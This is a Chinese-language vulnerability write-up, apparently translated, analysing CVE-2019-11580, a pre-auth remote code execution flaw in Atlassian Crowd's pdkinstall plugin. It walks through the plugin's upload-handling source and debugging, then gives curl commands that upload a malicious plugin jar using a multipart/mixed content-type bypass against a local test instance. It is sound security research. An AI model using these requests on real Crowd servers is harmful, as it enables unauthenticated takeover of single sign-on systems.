导语:CVE-2019-11580为Atlassian Crowd和Atlassian Crowd Data Center 输入验证错误漏洞,此漏洞是因为没有对上传的jar文件校验,直接当做插件进行安装,本文是对Atlassina Crowd的pdkinstall插件RCE漏洞的分析。
前言
CVE-2019-11580为Atlassian Crowd和Atlassian Crowd Data Center 输入验证错误漏洞,此漏洞是因为没有对上传的jar文件校验,直接当做插件进行安装,本文是对Atlassina Crowd的pdkinstall插件RCE漏洞的分析。Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品,Atlassian Crowd是一套基于Web的单点登录系统,该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能,Atlassian Crowd Data Center是Crowd的集群部署版。集中式身份管理的管理来自多个目录(Active Directory、LDAP、OpenLDAP 或 Microsoft Azure AD)的用户,并在一个位置控制应用身份验证权限。而单点登录 (SSO)则为用户提供一组用户名和密码来登录需要访问的所有应用,让他们的生活更加轻松。无缝集成 Jira、Confluence 和 Bitbucket 等所有 Atlassian 产品,为你的用户提供单一登录 (SSO) 体验。
以下产品及版本受到影响:Atlassian Crowd 2.1.x版本,3.0.5之前的3.0.x版本,3.1.6之前的3.1.x版本,3.2.8之前的3.2.x版本,3.3.5之前的3.3.x版本,3.4.4之前的3.4.版本;Atlassian Crowd Data Center 2.1.x版本,3.0.5之前的3.0.x版本,3.1.6之前的3.1.x版本,3.2.8之前的3.2.x版本,3.3.5之前的3.3.x版本,3.4.4之前的3.4.版本。
目前该漏洞的危害等级被定义为超危,威胁类型属于远程漏洞。目前厂商已发布升级补丁以修复漏洞,补丁获取链接:https://confluence.atlassian.com/x/3ADVOQ。
原因分析
Atlassian Crowd和Atlassian Crowd Data Center在发布版本中错误地启用了pdkinstall开发插件,能够向Crowd或CrowdData Center实例发送未经身份验证或经过身份验证的请求的攻击者可以利用此漏洞安装任意插件,从而允许在运行受到影响版本的Crowd或CrowdData Center的系统上远程执行代码。
在网上搜索了一番之后,我找不到任何针对该漏洞的概念验证,因此我决定对其进行分析并尝试创建一个。
首先,我会复制插件的源代码,源代码可以在这里找到。
[email protected]:~# git clone https://bitbucket.org/atlassian/pdkinstall-plugin Cloning into 'pdkinstall-plugin'... remote: Counting objects: 210, done.remote: Compressing objects: 100% (115/115), done.remote: Total 210 (delta 88), reused 138 (delta 56)Receiving objects: 100% (210/210), 26.20 KiB | 5.24 MiB/s, done.Resolving deltas: 100% (88/88), done.
我们可以在./main/resources/atlassian-plugin.xml找到插件描述符文件(plugin descriptor )。每个插件都需要一个插件描述符文件,该文件只包含 “描述了一个插件和它所包含的用于主机应用程序的模块”的XML。
<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2"><plugin-info> <version>${project.version}</version> <vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/></plugin-info><servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration"> <url-pattern>/admin/uploadplugin.action</url-pattern></servlet-filter><servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter" location="before-decoration"> <url-pattern>/admin/plugins.action</url-pattern></servlet-filter><servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" /><component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" /></atlassian-plugin>
我们可以看到通过访问/admin/uploadplugin.action来调用Java servlet类com.atlassian.pdkinstall.PdkInstallFilter。由于我们知道这个漏洞是通过任意插件安装的RCE,所以很明显,必须首先查看PdkInstallFilter servlet的源代码。
让我们将pdkinstall-plugin导入IntelliJ,这样就可以开始阅读源代码了。我们将从doFilter()方法开始。
我们可以看到,如果请求方法不是POST,它会退出并返回一个错误:
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {HttpServletRequest req = (HttpServletRequest) servletRequest;HttpServletResponse res = (HttpServletResponse) servletResponse;if (!req.getMethod().equalsIgnoreCase("post")){ res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post"); return;}
接下来,它确定请求是否包含多部分内容。多部分内容是一个单独的主体,它包含一个或多个组合在一起的不同数据集。如果它包含多部分内容(Multipart Content),它将调用extractJar()方法来提取请求中发送的jar,否则它将调用buildJarFromFiles()方法,并尝试从请求中的数据构建插件jar文件。
// Check that we have a file upload requestFile tmp = null;boolean isMultipart = ServletFileUpload.isMultipartContent(req);if (isMultipart){ tmp = extractJar(req, res, tmp);}else{ tmp = buildJarFromFiles(req);}
现在,让我们将注意力转移到extractJar()方法。
private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException{ // Create a new file upload handler ServletFileUpload upload = new ServletFileUpload(factory); // Parse the request try { List<FileItem> items = upload.parseRequest(req); for (FileItem item : items) { if (item.getFieldName().startsWith("file_") && !item.isFormField()) { tmp = File.createTempFile("plugindev-", item.getName()); tmp.renameTo(new File(tmp.getParentFile(), item.getName())); item.write(tmp); } } } catch (FileUploadException e) { log.warn(e, e); res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload"); } catch (Exception e) { log.warn(e, e); res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload"); } return tmp;}
首先,它实例化ServletFileUpload的一个新对象,然后调用parseRequest()方法来解析HTTP请求。此方法处理来自HTTP请求multipart/form-data 流,并将FileItems列表设置为名为items的变量。
对于每个项目(在FileItems列表中),如果字段名以file_开头,而不是表单字段(HTML字段),那么它将创建并写入将要上传到磁盘上临时文件中的文件。如果失败,变量tmp将为null;如果成功,变量tmp将包含写入文件的路径。现在,让我们看看主doFilter()方法。
if (tmp != null){ List<String> errors = new ArrayList<String>(); try { errors.addAll(pluginInstaller.install(tmp)); } catch (Exception ex) { log.error(ex); errors.add(ex.getMessage()); } tmp.delete(); if (errors.isEmpty()) { res.setStatus(HttpServletResponse.SC_OK); servletResponse.setContentType("text/plain"); servletResponse.getWriter().println("Installed plugin " + tmp.getPath()); } else { res.setStatus(HttpServletResponse.SC_BAD_REQUEST); servletResponse.setContentType("text/plain"); servletResponse.getWriter().println("Unable to install plugin:"); for (String err : errors) { servletResponse.getWriter().println("\t - " + err); } } servletResponse.getWriter().close(); return;}res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");
如果extractJar()成功,将设置tmp变量,并且不等于null。此时应用程序将尝试使用plugininstall .install()方法安装插件,并将捕获过程中的任何错误。如果没有捕获的错误,服务器将以200 OK和一条消息响应,说明插件已成功安装。否则,服务器将以“400个错误请求(400 Bad Request)”和“无法安装插件”的消息响应,以及导致安装失败的错误。
但是,如果初始extractJar()方法失败,则tmp变量将被设置为null,服务器将响应“400个错误请求”,并显示消息“缺少插件文件”。
现在我们知道了servlet端点和它期望的请求类型,让我们尝试利用它。
第一次尝试
让我们使用Atlassian SDK启动一个实例,现在,让我们确保可以通过访问http://localhost:4990/crowd/admin/uploadplugin.action调用pdkinstall插件。
服务器应响应一个“400个错误请求”:
让我们利用到目前为止的知识来尝试上传一个标准的插件,使用atlassian-bundled-plugins中的applinks-plugin来尝试这种方法,你可以从这里获得编译后的jar文件。
我们知道,servlet需要一个包含多部分数据的POST请求,其中包含一个以file_开头的文件,我们可以使用cURL的–form标志轻松完成此操作。
[email protected]:~# curl --form "[email protected]" http://localhost:4990/crowd/admin/uploadplugin.action -v
从上图可以看出,它成功安装了插件。所以我们应该能够创建并安装我们自己的插件。
我创建的一个恶意插件,可以在这里找到,让我们编译并尝试上传它。
[email protected]:~# ./compile.sh [email protected]:~# curl --form "[email protected]" http://localhost:8095/crowd/admin/uploadplugin.action -v
可以看到它失败了,出现了400个错误请求,响应包含错误消息“缺少插件文件”。如上所述,如果tmp为null,服务器将使用这个确切的消息和状态代码进行响应,但是是什么导致了这种情况的发生呢?让我们再使用一个调试器试试。
调试
我在IntelliJ中导入了pdkinstall-plugin,将调试器附加到Crowd实例,并打开PdkInstallFilter.java servlet,我们知道它正在处理上传。
我的第一个猜测是ServletFileUpload.isMultipartContent(req)方法失败了,所以我在那里设置了一个断点。然后我再次尝试上传我的恶意插件,然而,我们可以看到它正常工作,服务器认为它是多部分内容:
因此,一定是extractJar()出现了问题。让我们调试这个方法并逐行设置断点,这样我们就可以找出它在失败的位置。设置断点后,我再次尝试:
我们可以看到upload.parseRequest(req)方法返回一个空数组,由于items变量是空的,它会跳过for循环并返回设置为null的tmp。
我花了很长时间试图弄清楚为什么会发生这种情况,但结果还是无功而返,不过我所关心的只是获得RCE。
如果我将内容类型从multipart/form-data更改为不同的multipart编码,会发生什么情况?让我们试一试。
第二次尝试
这次我决定尝试上传我的恶意插件,其中包含multipart/mixed的内容类型,也许这会奏效。
curl -k -H "Content-Type: multipart/mixed" \ --form "[email protected]" http://localhost:4990/crowd/admin/uploadplugin.action
通过回复的消息,我们知道插件已经被成功安装了。
让我们看看能否真正调用恶意插件:
现在,我们在Atlassian Crowd上就有了一个pre-auth远程代码执行。
https://www.corben.io/atlassian-crowd-rce/